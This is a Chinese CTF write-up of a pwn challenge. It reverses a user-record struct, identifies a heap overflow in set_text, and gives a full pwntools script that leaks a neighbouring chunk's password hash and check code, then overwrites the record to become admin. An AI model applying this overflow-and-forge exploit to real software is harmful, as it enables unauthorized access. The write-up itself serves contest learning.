搞了快三个小时才出来_(:з」∠)_几乎白给
雷泽太强了!
简单逆向后可以知道
name
赋值为userx
,而get_flag的需求为name
==adminx
passwd
成员存储原始密码加盐(随机数)加密后的结果code
成员存储其他成员加盐(随机数)加密后的结果passwd
和code
Struct:
00000000 User struc ; (sizeof=0x84, mappedto_6)
00000000 index dd ?
00000004 age dd ?
00000008 len_text dd ?
0000000C name db 24 dup(?)
00000024 passwd db 32 dup(?)
00000044 text db 32 dup(?)
00000064 code db 32 dup(?)
00000084 User ends
由于get_flag方法为修改name
,因此显然需要利用漏洞修改name
简单审计后发现存在两个溢出点
6. set_passwd里的length自由输入,buf的大小为0x100,存在栈溢出,但有canary
7. set_text里的length自由输入,buf的大小为0x20,存在堆溢出,可以覆盖后一个堆
作为一个单纯的逆向狗,对堆的结构完全不了解╮(╯_╰)╭所以不考虑 CHUNK 相关的利用
这里的堆溢出可以任意修改后面的块,但直接把name
改成adminx
以后会在check_code
的地方由于其他成员被修改而校验失败退出
那么在篡改name
的时候就必须一起把code
成员也篡改了
于是有两个方法
code
成员code
,得到RANDOM然后再次加密扫了一眼加密算法发现复杂的一批,懒得看了就当蜜汁哈希了
(后来提示里给出了是SM3的散列算法,然而其实没啥用233 并不知道咋泄露BSS段里的RANDOM)
思考了一阵子以后想起来set_passwd
里面可以根据用户使用的passwd
来生成哈希,另一方面login
以后whoami
方法可以print text
,而通过控制text
可以令其一直输出到下一个块的目标成员,从而泄露下一个块的passwd
和code
由于最多只能创建三个块,因此需要比较节省233
思考了一下感觉这个障碍对思路影响不大
思路:
text
填到下一个块的passwd
前,从而泄露出某个密码此时的哈希Passwd
为一整个结构体,从而使它的passwd
成员为100
个字节的校验text
填到第三个块的passw
前,从而泄露出目标code
text
重写第二个块先给一个比赛时的辣鸡脚本,回来再整理结构~
from pwn import *
#p = process("./pwn")
p = remote("172.16.9.23", 9014)
#context.log_level="debug"
def reg(p, passwd):
# age
p.sendline("1")
# passwdlen
p.sendline(str(len(passwd)))
# passwd
p.sendline(passwd)
# textlen
p.sendline("2")
# text
p.sendline("1")
def login(p, index, passwd):
p.sendline(index)
p.sendline("100")
p.sendline(passwd)
p.recvuntil(">")
p.sendline("1")
reg(p,"A"*100)
p.sendline("1")
reg(p,"A"*100)
p.recvuntil(">")
# login
p.sendline("2")
p.recvuntil("id")
login(p,"0", "A"*100)
# change text
p.sendline("3")
p.sendline(str(0x84-0x44+0x10+0x20))
p.sendline("a"*(0x84-0x44+0x10+0x20))
# whoami - leak passwd_hash
p.sendline("1")
p.recvuntil("text:")
p.recv(0x64+12+1)
passwd_hash = p.recv(32)
print("leaked:%s"%passwd_hash)
p.sendline("4")
p.recvuntil(">")
p.sendline("1")
reg(p, p32(1)+p32(1)+p32(1)+"admin1"+"\0"*18+passwd_hash+"\0"*0x20)
p.recvuntil(">")
#p.interactive()
p.sendline("2")
login(p, "0", "A"*100)
# change text
p.sendline("3")
p.sendline(str(0x84-0x44+0x10+0x20+0x80+0x10))
p.sendline("a"*(0x84-0x44+0x10+0x20+0x80+0x10))
# whoami - leak code
p.sendline("1")
p.recvuntil("text:")
p.recv(0x64+0x84+0x10+9)
code = p.recv(32)
print("leaked:%s"%code)
#p.interactive()
p.sendline("3")
payload = "a"*(0x84-0x44+0xc)+p32(1)+p32(1)+p32(1)+"admin1"+"\0"*18+passwd_hash+"\0"*0x20+code
p.sendline(str(len(payload)))
p.sendline(payload)
p.sendline("4")
p.sendline("2")
p.sendline("1")
p.sendline("100")
p.interactive()
p.sendline("A"*100)
p.interactive()